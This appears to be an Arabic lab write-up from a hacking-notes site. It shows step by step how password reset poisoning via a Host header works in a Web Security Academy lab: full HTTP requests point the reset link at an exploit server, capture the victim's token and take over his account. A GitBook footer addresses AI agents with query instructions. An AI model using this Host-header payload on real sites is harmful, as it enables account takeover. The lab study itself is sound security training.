> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/host-header/basic-password-reset-poisoning.md).

# تسميم أساسي لآلية إعادة تعيين كلمة المرور

### استغلال أساسي لتسميم إعادة تعيين كلمة المرور

**وصف المختبر**

يقدّم هذا المختبر ثغرة في تسميم عملية إعادة تعيين كلمة المرور. / المستخدم **carlos** ينقر دون حذر على جميع الروابط التي يتلقاها عبر البريد الإلكتروني.

الهدف:

* استخدم هذا الخلل لاسترداد رابط إعادة تعيين صالح
* تسجيل الدخول إلى **حساب كارلوس**

المعرّف المزوَّد:

* المستخدم: **wiener**
* كلمة المرور: **peter**

يمكن الوصول إلى جميع الرسائل الإلكترونية المرسلة إلى هذا الحساب عبر عميل البريد الإلكتروني الخاص بالخادم\*\*.

**الملاحظة الأولية**

يقدّم التطبيق \*\*

<figure><img src="/files/30e96c63c2e0edb34235c50db9c4bfb7807be3d3" alt=""><figcaption></figcaption></figure>

عند إدخال `wiener` المستخدم، يتم إرسال رسالة إعادة التعيين بشكل صحيح.

<figure><img src="/files/b23cedbf67ae0448d114be008dc78bc6147c7b85" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b656892840d3f510d55b8d75d69e3b50558b75bb" alt=""><figcaption></figcaption></figure>

**تحليل طلب الواجهة الخلفية**

يكون طلب HTTP المرسل أثناء طلب إعادة التعيين كما يلي:

```http
POST /forgot-password HTTP/2
Host: 0af900f303cc106580bb030b00540086.web-security-academy.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53

csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=wiener
```

<figure><img src="/files/693dcccdf45908f7a4aded2f9b595a707b5baa93" alt=""><figcaption></figcaption></figure>

**اختبار التلاعب بترويسة Host**

من خلال استبدال `Host` قيمة الترويسة بنطاق عشوائي (مثل `test.com`)، يعالج الخادم الطلب دائمًا على أنه صالح ويولّد رابط إعادة التعيين من هذا الـHost المعدّل.

```http
Host: test.com
```

تفسّر الصفحة المحتوى بالطريقة نفسها التي تفسّر بها صفحة المضيف العادية.

<figure><img src="/files/f46c035abe830ef5f1a327d1e93932d4bc89d24c" alt=""><figcaption></figcaption></figure>

وهذا يؤكد وجود ثقة مفرطة في ترويسة Host\*\*.

**استغلال الثغرة**

يتكوّن الهجوم من:

1. غيّر `Host` الترويسة لوضع النطاق**خادم الاستغلال**
2. اطلب إعادة التعيين للمستخدم **carlos**

التطبيق:

```http
POST /forgot-password HTTP/2
Host: exploit-0a5c001303a8105f80b302b10120000a.exploit-server.net
Cookie: session=Ao8thWvlDIgT46OxVL6hKR8lEBRU9H0i; _lab=46%7cMCwCFBQ4z%2fbgtHq4LZdE21KsQdP7n%2btxAhQUsbbmCpEAs2e6hfs40NpqVQzze60ZABOtmiZENKrkIeRhtjQpq7wGfTR4ACkfX%2fy3xiyS2hre0cnWFJ4KZTfb8HXE5b8FT19JGn3t24n5uFzD7iCcyveBexzEgHZ3I%2fpT%2bPde%2bB%2bkXac%3d
Content-Length: 53

csrf=Tk00wDOWaQI4cw34e6fwZ4dXAlXQhXD7&username=carlos
```

**النتيجة**

* يولّد الخادم رابط إعادة تعيين بناءً على **Host المتحكَّم به من قبل المهاجم**
* المستخدم **carlos** انقر على هذا الرابط المُلغّم الذي تم تلقيه عبر البريد الإلكتروني
* يصبح رمز إعادة التعيين بعد ذلك مرئيًا في سجلات خادم الاستغلال
* يمكنك تعيين كلمة مرور جديدة للحساب **carlos**
* تم الاتصال بنجاح بالحساب المستهدف

<figure><img src="/files/b2534759af4d99ca35156e9d9904f8261c461ffb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/host-header/basic-password-reset-poisoning.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
